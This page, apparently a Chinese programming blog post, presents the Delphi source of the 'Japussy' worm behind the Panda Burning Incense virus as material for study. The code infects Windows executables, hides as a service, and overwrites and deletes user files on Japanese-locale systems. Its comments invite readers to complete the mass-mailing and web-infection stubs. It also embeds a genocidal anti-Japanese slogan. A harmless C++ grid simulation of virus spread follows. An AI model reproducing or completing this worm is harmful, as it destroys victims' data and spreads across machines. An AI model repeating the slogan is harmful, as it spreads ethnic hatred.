熊猫烧香病毒-源码学习

  1 program Japussy;
  2 uses
  3 Windows, SysUtils, Classes, Graphics, ShellAPI...{, Registry};
  4 const
  5 HeaderSize = 82432;             //病毒体的大小
  6 IconOffset = $12EB8;           //PE文件主图标的偏移量
  7
  8 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
  9 //查找2800000020的十六进制字符串可以找到主图标的偏移量
 10
 11 ...{
 12 HeaderSize = 38912;             //Upx压缩过病毒体的大小
 13 IconOffset = $92BC;             //Upx压缩过PE文件主图标的偏移量
 14
 15 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
 16 }
 17 IconSize   = $2E8;             //PE文件主图标的大小--744字节
 18 IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
 19 ID       = $44444444;         //感染标记
 20
 21 //垃圾码,以备写入
 22 Catchword = ‘If a race need to be killed out, it must be Yamato. ‘ +
 23         ‘If a country need to be destroyed, it must be Japan! ‘ +
 24         ‘*** W32.Japussy.Worm.A ***‘;
 25 ...{$R *.RES}
 26 function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
 27 stdcall; external ‘Kernel32.dll‘; //函数声明
 28 var
 29 TmpFile: string;
 30 Si:     STARTUPINFO;
 31 Pi:     PROCESS_INFORMATION;
 32 IsJap:   Boolean = False; //日文操作系统标记
 33 ...{ 判断是否为Win9x }
 34 function IsWin9x: Boolean;
 35 var
 36 Ver: TOSVersionInfo;
 37 begin
 38 Result := False;
 39 Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
 40 if not GetVersionEx(Ver) then
 41   Exit;
 42 if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
 43   Result := True;
 44 end;
 45 ...{ 在流之间复制 }
 46 procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
 47 dStartPos: Integer; Count: Integer);
 48 var
 49 sCurPos, dCurPos: Integer;
 50 begin
 51 sCurPos := Src.Position;
 52 dCurPos := Dst.Position;
 53 Src.Seek(sStartPos, 0);
 54 Dst.Seek(dStartPos, 0);
 55 Dst.CopyFrom(Src, Count);
 56 Src.Seek(sCurPos, 0);
 57 Dst.Seek(dCurPos, 0);
 58 end;
 59 ...{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
 60 procedure ExtractFile(FileName: string);
 61 var
 62 sStream, dStream: TFileStream;
 63 begin
 64 try
 65   sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 66   try
 67     dStream := TFileStream.Create(FileName, fmCreate);
 68     try
 69     sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
 70     dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
 71     finally
 72     dStream.Free;
 73     end;
 74   finally
 75     sStream.Free;
 76   end;
 77 except
 78 end;
 79 end;
 80 ...{ 填充STARTUPINFO结构 }
 81 procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
 82 begin
 83 Si.cb := SizeOf(Si);
 84 Si.lpReserved := nil;
 85 Si.lpDesktop := nil;
 86 Si.lpTitle := nil;
 87 Si.dwFlags := STARTF_USESHOWWINDOW;
 88 Si.wShowWindow := State;
 89 Si.cbReserved2 := 0;
 90 Si.lpReserved2 := nil;
 91 end;
 92 ...{ 发带毒邮件 }
 93 procedure SendMail;
 94 begin
 95 //哪位仁兄愿意完成之?
 96 end;
 97 ...{ 感染PE文件 }
 98 procedure InfectOneFile(FileName: string);
 99 var
100 HdrStream, SrcStream: TFileStream;
101 IcoStream, DstStream: TMemoryStream;
102 iID: LongInt;
103 aIcon: TIcon;
104 Infected, IsPE: Boolean;
105 i: Integer;
106 Buf: array[0..1] of Char;
107 begin
108 try //出错则文件正在被使用,退出
109   if CompareText(FileName, ‘JAPUSSY.EXE‘) = 0 then //是自己则不感染
110     Exit;
111   Infected := False;
112   IsPE   := False;
113   SrcStream := TFileStream.Create(FileName, fmOpenRead);
114   try
115     for i := 0 to $108 do //检查PE文件头
116     begin
117     SrcStream.Seek(i, soFromBeginning);
118     SrcStream.Read(Buf, 2);
119     if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
120     begin
121       IsPE := True; //是PE文件
122       Break;
123     end;
124     end;
125     SrcStream.Seek(-4, soFromEnd); //检查感染标记
126     SrcStream.Read(iID, 4);
127     if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
128     Infected := True;
129   finally
130     SrcStream.Free;
131   end;
132   if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
133     Exit;
134   IcoStream := TMemoryStream.Create;
135   DstStream := TMemoryStream.Create;
136   try
137     aIcon := TIcon.Create;
138     try
139     //得到被感染文件的主图标(744字节),存入流
140     aIcon.ReleaseHandle;
141     aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
142     aIcon.SaveToStream(IcoStream);
143     finally
144     aIcon.Free;
145     end;
146     SrcStream := TFileStream.Create(FileName, fmOpenRead);
147     //头文件
148     HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
149     try
150     //写入病毒体主图标之前的数据
151     CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
152     //写入目前程序的主图标
153     CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
154     //写入病毒体主图标到病毒体尾部之间的数据
155     CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
156     //写入宿主程序
157     CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
158     //写入已感染的标记
159     DstStream.Seek(0, 2);
160     iID := $44444444;
161     DstStream.Write(iID, 4);
162     finally
163     HdrStream.Free;
164     end;
165   finally
166     SrcStream.Free;
167     IcoStream.Free;
168     DstStream.SaveToFile(FileName); //替换宿主文件
169     DstStream.Free;
170   end;
171 except;
172 end;
173 end;
174 ...{ 将目标文件写入垃圾码后删除 }
175 procedure SmashFile(FileName: string);
176 var
177 FileHandle: Integer;
178 i, Size, Mass, Max, Len: Integer;
179 begin
180 try
181   SetFileAttributes(PChar(FileName), 0); //去掉只读属性
182   FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
183   try
184     Size := GetFileSize(FileHandle, nil); //文件大小
185     i := 0;
186     Randomize;
187     Max := Random(15); //写入垃圾码的随机次数
188     if Max < 5 then
189     Max := 5;
190     Mass := Size div Max; //每个间隔块的大小
191     Len := Length(Catchword);
192     while i < Max do
193     begin
194     FileSeek(FileHandle, i * Mass, 0); //定位
195     //写入垃圾码,将文件彻底破坏掉
196     FileWrite(FileHandle, Catchword, Len);
197     Inc(i);
198     end;
199   finally
200     FileClose(FileHandle); //关闭文件
201   end;
202   DeleteFile(PChar(FileName)); //删除之
203 except
204 end;
205 end;
206 ...{ 获得可写的驱动器列表 }
207 function GetDrives: string;
208 var
209 DiskType: Word;
210 D: Char;
211 Str: string;
212 i: Integer;
213 begin
214 for i := 0 to 25 do //遍历26个字母
215 begin
216   D := Chr(i + 65);
217   Str := D + ‘:‘;
218   DiskType := GetDriveType(PChar(Str));
219   //得到本地磁盘和网络盘
220   if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
221     Result := Result + D;
222 end;
223 end;
224 ...{ 遍历目录,感染和摧毁文件 }
225 procedure LoopFiles(Path, Mask: string);
226 var
227 i, Count: Integer;
228 Fn, Ext: string;
229 SubDir: TStrings;
230 SearchRec: TSearchRec;
231 Msg: TMsg;
232 function IsValidDir(SearchRec: TSearchRec): Integer;
233 begin
234   if (SearchRec.Attr <> 16) and (SearchRec.Name <> ‘.‘) and
235     (SearchRec.Name <> ‘..‘) then
236     Result := 0 //不是目录
237   else if (SearchRec.Attr = 16) and (SearchRec.Name <> ‘.‘) and
238     (SearchRec.Name <> ‘..‘) then
239     Result := 1 //不是根目录
240   else Result := 2; //是根目录
241 end;
242 begin
243 if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
244 begin
245   repeat
246     PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
247     if IsValidDir(SearchRec) = 0 then
248     begin
249     Fn := Path + SearchRec.Name;
250     Ext := UpperCase(ExtractFileExt(Fn));
251     if (Ext = ‘.EXE‘) or (Ext = ‘.SCR‘) then
252     begin
253       InfectOneFile(Fn); //感染可执行文件
254     end
255     else if (Ext = ‘.HTM‘) or (Ext = ‘.HTML‘) or (Ext = ‘.ASP‘) then
256     begin
257       //感染HTML和ASP文件,将Base64编码后的病毒写入
258       //感染浏览此网页的所有用户
259       //哪位大兄弟愿意完成之?
260     end
261     else if Ext = ‘.WAB‘ then //Outlook地址簿文件
262     begin
263       //获取Outlook邮件地址
264     end
265     else if Ext = ‘.ADC‘ then //Foxmail地址自动完成文件
266     begin
267       //获取Foxmail邮件地址
268     end
269     else if Ext = ‘IND‘ then //Foxmail地址簿文件
270     begin
271       //获取Foxmail邮件地址
272     end
273     else
274     begin
275       if IsJap then //是倭文操作系统
276       begin
277         if (Ext = ‘.DOC‘) or (Ext = ‘.XLS‘) or (Ext = ‘.MDB‘) or
278         (Ext = ‘.MP3‘) or (Ext = ‘.RM‘) or (Ext = ‘.RA‘) or
279         (Ext = ‘.WMA‘) or (Ext = ‘.ZIP‘) or (Ext = ‘.RAR‘) or
280         (Ext = ‘.MPEG‘) or (Ext = ‘.ASF‘) or (Ext = ‘.JPG‘) or
281         (Ext = ‘.JPEG‘) or (Ext = ‘.GIF‘) or (Ext = ‘.SWF‘) or
282         (Ext = ‘.PDF‘) or (Ext = ‘.CHM‘) or (Ext = ‘.AVI‘) then
283           SmashFile(Fn); //摧毁文件
284       end;
285     end;
286     end;
287     //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
288     Sleep(200);
289   until (FindNext(SearchRec) <> 0);
290 end;
291 FindClose(SearchRec);
292 SubDir := TStringList.Create;
293 if (FindFirst(Path + ‘*.*‘, faDirectory, SearchRec) = 0) then
294 begin
295   repeat
296     if IsValidDir(SearchRec) = 1 then
297     SubDir.Add(SearchRec.Name);
298   until (FindNext(SearchRec) <> 0);
299   end;
300 FindClose(SearchRec);
301 Count := SubDir.Count - 1;
302 for i := 0 to Count do
303   LoopFiles(Path + SubDir.Strings + ‘‘, Mask);
304 FreeAndNil(SubDir);
305 end;
306 ...{ 遍历磁盘上所有的文件 }
307 procedure InfectFiles;
308 var
309 DriverList: string;
310 i, Len: Integer;
311 begin
312 if GetACP = 932 then //日文操作系统
313   IsJap := True; //去死吧!
314 DriverList := GetDrives; //得到可写的磁盘列表
315 Len := Length(DriverList);
316 while True do //死循环
317 begin
318   for i := Len downto 1 do //遍历每个磁盘驱动器
319     LoopFiles(DriverList + ‘:‘, ‘*.*‘); //感染之
320   SendMail; //发带毒邮件
321   Sleep(1000 * 60 * 5); //睡眠5分钟
322 end;
323 end;
324 ...{ 主程序开始 }
325 begin
326 if IsWin9x then //是Win9x
327   RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
328 else //WinNT
329 begin
330   //远程线程映射到Explorer进程
331   //哪位兄台愿意完成之?
332 end;
333 //如果是原始病毒体自己
334 if CompareText(ExtractFileName(ParamStr(0)), ‘Japussy.exe‘) = 0 then
335   InfectFiles //感染和发邮件
336 else //已寄生于宿主程序上了,开始工作
337 begin
338   TmpFile := ParamStr(0); //创建临时文件
339   Delete(TmpFile, Length(TmpFile) - 4, 4);
340   TmpFile := TmpFile + #32 + ‘.exe‘; //真正的宿主文件,多一个空格
341   ExtractFile(TmpFile); //分离之
342   FillStartupInfo(Si, SW_SHOWDEFAULT);
343   CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
344     0, nil, ‘.‘, Si, Pi); //创建新进程运行之
345   InfectFiles; //感染和发邮件
346 end;
347 end.

下面是C++版本

#include<iostream>
#include<time.h>
#include<windows.h>
using namespace std;
#define MAXNODE 100
#define MAXVER 100  //病毒类型种类的最大值

typedef struct VertexType //一台电脑的信息
{
    int day;//第几天感染的
    int dl;//防御级别
    int r,c;//行列号
    int vt;// 病毒类型

}VertexType;

typedef struct MGraph //整个图的构造
{
    VertexType m[MAXNODE][MAXNODE];
    int row,colum ,num;//行列数,感染的数目
}MGraph;

void virspread(VertexType v,int nowday);

MGraph mg ;//定义

void MGraphInit()//初始化
{
    int i,j;
    for(i=0;i<mg.row;i++)
        for(j=0;j<mg.colum;j++)
        {
            mg.m[i][j].vt =0;
            mg.m[i][j].dl=0;
            mg.m[i][j].day=0;
            mg.num=0;
            mg.m[i][j].r=i;
            mg.m[i][j].c=j;
        }
}

void MGraphCreat()//创建图,邻接矩阵
{
    MGraphInit();
    srand( (unsigned)time( NULL ) );
    cout<<"请逐行输入"<<endl;
    int i,j;

    for(i=0;i<mg.row;i++)
    {
        //cout<<"输入第"<<i+1<<"行:"<<endl;
        for(j=0;j<mg.colum;j++)
        {
            int a;
            //cin>>a;
            a=(10-rand()%20);
            if(a==0)
            {
                a=a+1;
            }

            if(a>0)
            {
                mg.m[i][j].vt=a;
            }
            else
            {
                mg.m[i][j].dl=0-a;          

            }//if
        }//for
    }
    int k=(mg.row+mg.colum)/2;
    int h=(mg.row+mg.colum)/3;
    mg.m[k][k].vt=1;//确保有一台机器已经被感染
    mg.m[h][h].dl=3;//确保有一台机器没有被感染
}//MGraphCreat

void vir()    //依次寻找病毒并调用函数virspread(mg.m[i][j],nowday);进行病毒的传播
{
    int virtype=1;
    int i,j;
    int nowday=1;

    while(mg.num<(mg.row*mg.colum))
    {
        mg.num=0;
        while(virtype<=MAXVER)
        {
            for(i=0;i<mg.row;i++)

              for(j=0;j<mg.colum;j++)
             {
                if(mg.m[i][j].vt==virtype)
                {
                    virspread(mg.m[i][j],nowday);
                }
            }
        virtype++;
        }
        for(i=0;i<mg.row;i++)
            for(j=0;j<mg.colum;j++)
                if((mg.m[i][j].vt)>0)
                    mg.num++;
   /***********显示每天的感染情况*********/
                Sleep(3000);  //停顿3s
                system("cls"); //清屏
                cout<<"第"<<nowday<<"天情况为:"<<endl;
                 for(i=0;i<mg.row;i++)
                 {
                      for(j=0;j<mg.colum;j++)
                    {
                        if(mg.m[i][j].vt!=0)
                         cout<<mg.m[i][j].vt<<"★"<<"  ";
                        else
                       cout<<(0-mg.m[i][j].dl)<<"☆"<<"  ";
                    }
                    cout<<endl;
                 }
                     cout<<endl;
   /***********显示每天的感染情况*********/
        nowday++;
        virtype=1;
    }

}

void virspread(VertexType v,int _nowday)   //病毒传播函数
{
    VertexType qv[4*MAXNODE];
    int front = 0,rear = 1;
    qv[1] = v;
    while(front<=rear)// ↑,←,↓,——>四个方向进行传播
    {
        v=qv[++front];
        if(v.r-1>=0&&mg.m[v.r-1][v.c].vt==0&&mg.m[v.r-1][v.c].dl<=_nowday)
            {

                mg.m[v.r-1][v.c].vt=v.vt;
                qv[++rear]=mg.m[v.r-1][v.c];
            }
        if(v.c-1>=0&&mg.m[v.r][v.c-1].vt==0&&mg.m[v.r][v.c-1].dl<=_nowday)
        {

            mg.m[v.r][v.c-1].vt=v.vt;
            qv[++rear]=mg.m[v.r][v.c-1];
        }
        if(v.r+1<mg.row&&mg.m[v.r+1][v.c].vt==0&&mg.m[v.r+1][v.c].dl<=_nowday)
        {

            mg.m[v.r+1][v.c].vt=v.vt;
            qv[++rear]=mg.m[v.r+1][v.c];
        }
        if(v.c+1<mg.colum&&mg.m[v.r][v.c+1].vt==0&&mg.m[v.r][v.c+1].dl<=_nowday)
        {

            mg.m[v.r][v.c+1].vt=v.vt;
            qv[++rear]=mg.m[v.r][v.c+1];
        }

    }
}

int main()
{

    int i,j;
    int k;
    int a[MAXNODE];
    cout<<"输入行列数目"<<endl;
    cout<<"行:";cin>>mg.row;
    cout<<"列:";cin>>mg.colum;    //输入行列数目

    MGraphCreat();
    cout<<"你的输入为:"<<endl;
    for(i=0;i<mg.row;i++)
    {
        for(j=0;j<mg.colum;j++)
        {
            if(mg.m[i][j].vt!=0)
                cout<<mg.m[i][j].vt<<"  ";
            else
            cout<<(0-mg.m[i][j].dl)<<"  ";
        }
        cout<<endl;
    }
    cout<<endl;

    Sleep(3000);  //停顿3s
    system("cls"); //清屏

    cout<<"图形表示为:"<<endl;
    for(i=0;i<mg.row;i++)
    {
        for(j=0;j<mg.colum;j++)
        {
            if(mg.m[i][j].vt!=0)
                 cout<<mg.m[i][j].vt<<"★"<<"  ";
            else
                cout<<(0-mg.m[i][j].dl)<<"☆"<<"  ";
        }
        cout<<endl;
    }
    cout<<endl;

    vir();
    for(int m=1;m<MAXNODE-1;m++)
        a[m]=0;
    for(i=0;i<mg.row;i++)
        for(j=0;j<mg.colum;j++)
            a[mg.m[i][j].vt]++;

        //Sleep(3000);  //停顿3s
        //system("cls"); //清屏

        cout<<"感染完后的变种的数目:"<<endl;
    for(k=1;k<MAXNODE-1;k++)
        if(a[k]!=0)
            cout<<"变种类型为 "<<k<<"的变种数目是:"<<a[k]<<endl;

    return 0;
}//main

原文地址:https://www.cnblogs.com/mysky007/p/11143016.html

时间: 2024-10-30 01:41:30

熊猫烧香病毒-源码学习的相关文章

Spring源码学习笔记(3)

Spring源码学习笔记(三) 前言----     最近花了些时间看了<Spring源码深度解析>这本书,算是入门了Spring的源码吧.打算写下系列文章,回忆一下书的内容,总结代码的运行流程.推荐那些和我一样没接触过SSH框架源码又想学习的,阅读郝佳编著的<Spring源码深度解析>这本书,会是个很好的入门. DispatcherServlet 实现核心功能 和普通的 Servelt 类一样, DispatcherServlet 中的 doGet() 和 doPost() 方法

FireMonkey 源码学习(5)

(5)UpdateCharRec 该函数的源码分析如下: procedure TTextLayoutNG.UpdateCharRec(const ACanvas: TCanvas; NeedBitmap: Boolean; var NewRec: PCharRec; HasItem: Boolean; const CharDic: TCharDic; const AFont: TFont; const Ch: UCS4Char; const NeedPath: Boolean = False);

jquery源码学习

jQuery 源码学习是对js的能力提升很有帮助的一个方法,废话不说,我们来开始学习啦 我们学习的源码是jquery-2.0.3已经不支持IE6,7,8了,因为可以少学很多hack和兼容的方法. jquery-2.0.3的代码结构如下 首先最外层为一个闭包, 代码执行的最后一句为window.$ = window.jquery = jquery 让闭包中的变量暴露倒全局中. 传参传入window是为了便于压缩 传入undefined是为了undifined被修改,他是window的属性,可以被修

Hadoop源码学习笔记(1) ——第二季开始——找到Main函数及读一读Configure类

Hadoop源码学习笔记(1) ——找到Main函数及读一读Configure类 前面在第一季中,我们简单地研究了下Hadoop是什么,怎么用.在这开源的大牛作品的诱惑下,接下来我们要研究一下它是如何实现的. 提前申明,本人是一直搞.net的,对java略为生疏,所以在学习该作品时,会时不时插入对java的学习,到时也会摆一些上来,包括一下设计模式之类的.欢迎高手指正. 整个学习过程,我们主要通过eclipse来学习,之前已经讲过如何在eclipse中搭建调试环境,这里就不多述了. 在之前源码初

HSQLDB源码学习——数据库安装启动及JDBC连接

HSQLDB 是一个轻量级的纯Java开发的开放源代码的关系数据库系统.因为HSQLDB的轻量(占用空间小),使用简单,支持内存运行方式等特点,HSQLDB被广泛用于开发环境和某些中小型系统中. 在http://sourceforge.net/projects/hsqldb/files/下载了HSQLDB 1.8.0版本.把下载的zip文件解压缩至任意目录例如c:\hsqldb1.8便完成安装. hsqldb有四种运行模式: 一.内存(Memory-Only)模式:所有数据都在内存里操作.应用程

lodash源码学习(10)

_.delay(func, wait, [args]) 延迟wait毫秒之后调用该函数,添加的参数为函数调用时的参数 //delay.js var baseDelay = require('./_baseDelay'),//baseDelay方法 baseRest = require('./_baseRest'),//创建使用rest参数方法 toNumber = require('./toNumber');//转化为数字 /** * * @param {Function} func 需要延迟执

lodash源码学习(2)

继续学习lodash,依然是数组的方法 “Array” Methods _.indexOf(array, value, [fromIndex=0]) 获取value在数组 array所在的索引值 使用 SameValueZero方式比较(第一个全等===的元素). 如果 fromIndex 值是负数, 则从array末尾起算 该方法依赖于strictIndexOf和baseIndexOf方法,先看它们的源码 //_strictIndexOf.js /** * _.indexOf的专业版本,对元素

jQuery源码学习感想

还记得去年(2015)九月份的时候,作为一个大四的学生去参加美团霸面,结果被美团技术总监教育了一番,那次问了我很多jQuery源码的知识点,以前虽然喜欢研究框架,但水平还不足够来研究jQuery源码,那时我不明白他们为何要求那么高,现在才知道,原来没那么高,他问的都是jQuery最基本的框架架构,不过对于不知道的来说,再简单我也是不知道,那时写了一篇博文去吐槽了一下,那时候也是我自己真正激发自己的时候,那时候我说我一定要搞好自己的jQuery基础,没想到那么快就实现了,一个月的源码学习时间就结束

Redis源码学习-Lua脚本

Redis源码学习-Lua脚本 1.Sublime Text配置 我是在Win7下,用Sublime Text + Cygwin开发的,配置方法请参考<Sublime Text 3下C/C++开发环境搭建>. 要注意的是:在Cygwin中安装Lua解析器后,SublimeClang插件就能识别出可饮用的Lua头文件了,因为Build System中我们已经配置过"-I", "D:\\cygwin64\\usr\\include",而新安装的Lua头文件会